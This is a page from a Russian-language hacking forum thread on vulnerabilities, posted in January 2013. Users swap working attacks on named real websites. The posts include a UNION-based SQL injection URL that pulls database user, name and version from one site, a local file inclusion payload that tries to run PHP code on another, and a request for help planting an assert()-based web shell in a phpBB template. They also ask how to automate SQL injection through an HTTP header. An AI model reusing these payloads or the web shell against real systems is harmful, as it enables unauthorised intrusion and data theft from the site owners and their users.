FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 2164 из 2422

2164

Опции темы

Поиск в этой теме

Опции просмотра

04.01.2013, 19:03

Expl0ited

Guest

Сообщений: n/a

Провел на форуме:
262707

Репутация: 935

Цитата:

Сообщение от herfleisch

herfleisch said:
Что случилось?

То что во-первых это не LFI, во вторых мозг не должен ограничиваться /proc/self/environ

04.01.2013, 19:19

herfleisch

Участник форума

Регистрация: 07.01.2009

Сообщений: 237

Провел на форуме:
745649

Репутация: 97

Отправить сообщение для herfleisch с помощью ICQ

Цитата:

Сообщение от Expl0ited

Expl0ited said:
То что во-первых это не LFI

Что это если не Local File Inclusion?

Этот скрипт используется для подгрузки элементов страницы с помощью JavaScript. Каким еще макаром программист стал бы делать это, кроме как с помощью include() или require()?

Кусок кода с главной страницы ресурса:

Код HTML:

HTML:
loadPOPUP("load.php?index="+index+"&file=lib_current.popup.php", popup_id/*'popup'*/, index);

04.01.2013, 22:09

Cennarios

Участник форума

Регистрация: 13.07.2008

Сообщений: 101

Провел на форуме:
346497

Репутация: 303

Отправить сообщение для Cennarios с помощью ICQ

2 herfleisch

Все же LFI. Вот код твоего файлика =)))

PHP код:


		
			
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]

04.01.2013, 22:24

herfleisch

Участник форума

Регистрация: 07.01.2009

Сообщений: 237

Провел на форуме:
745649

Репутация: 97

Цитата:

Сообщение от Cennarios

Cennarios said:
Все же LFI.

В том что это LFI у меня сомнений не было, ибо

Цитата:

Сообщение от None

http://teyla.ru/load.php?file=index.php

04.01.2013, 23:47

s000r

Guest

Сообщений: n/a

Провел на форуме:
2918

Репутация: 0

Добрый вечер уважаемые.

Помогите раскрутить

Цитата:

Сообщение от None

http://www.cnbest.ru/?main=premises&sort=FlatTyp1&type=SALEFlats-3

05.01.2013, 00:07

cat1vo

Новичок

Регистрация: 12.08.2009

Сообщений: 1

Провел на форуме:
11937

Репутация: 0

Цитата:

Сообщение от s000r

s000r said:
Добрый вечер уважаемые.
Помогите раскрутить

Код:

Code:
http://www.cnbest.ru/index.php?main=news&id=100116 and 0 union select 1,2,concat_ws(0x3a,user(),database(),version())-- -

05.01.2013, 06:45

Expl0ited

Guest

Сообщений: n/a

Провел на форуме:
262707

Репутация: 935

Цитата:

Сообщение от Cennarios

Cennarios said:
2 herfleisch
Все же LFI. Вот код твоего файлика =)))

PHP код:


		
			
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]

Серьезно, это локальный инклюд. Моя ошибка.

http://teyla.ru/load.php?file=/proc/self/fd/9&xx=phpinfo();

05.01.2013, 19:33

Vip77

Guest

Сообщений: n/a

Провел на форуме:
46989

Репутация: 20

Люди, не могу залить шелл через шаблоны, включил Разрешить php в шаблонах: ДА

Вставляю в шаблон faq_body.html такой код:

assert(stripslashes($_REQUEST[x]));

0 Реакции.... Помогите плиз

И вообще когда я удаляю все содержимое шаблона, а потом просматриваю ничего на форуме не изменяется...

phpbb 3.0.10

05.01.2013, 19:54

Vip77

Guest

Сообщений: n/a

Провел на форуме:
46989

Репутация: 20

Цитата:

Сообщение от OxoTnik

OxoTnik said:
либо нет прав на редактирования шаблона, либо не тот шаблон редактируешь

Не тот шаблон редактировал, спасибо

#10

05.01.2013, 21:00

Vip77

Guest

Сообщений: n/a

Провел на форуме:
46989

Репутация: 20

Как можно автоматизировать sqli через X-Forwarded-For: ?

Страница 2164 из 2422

2164

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

ANTICHAT.XYZ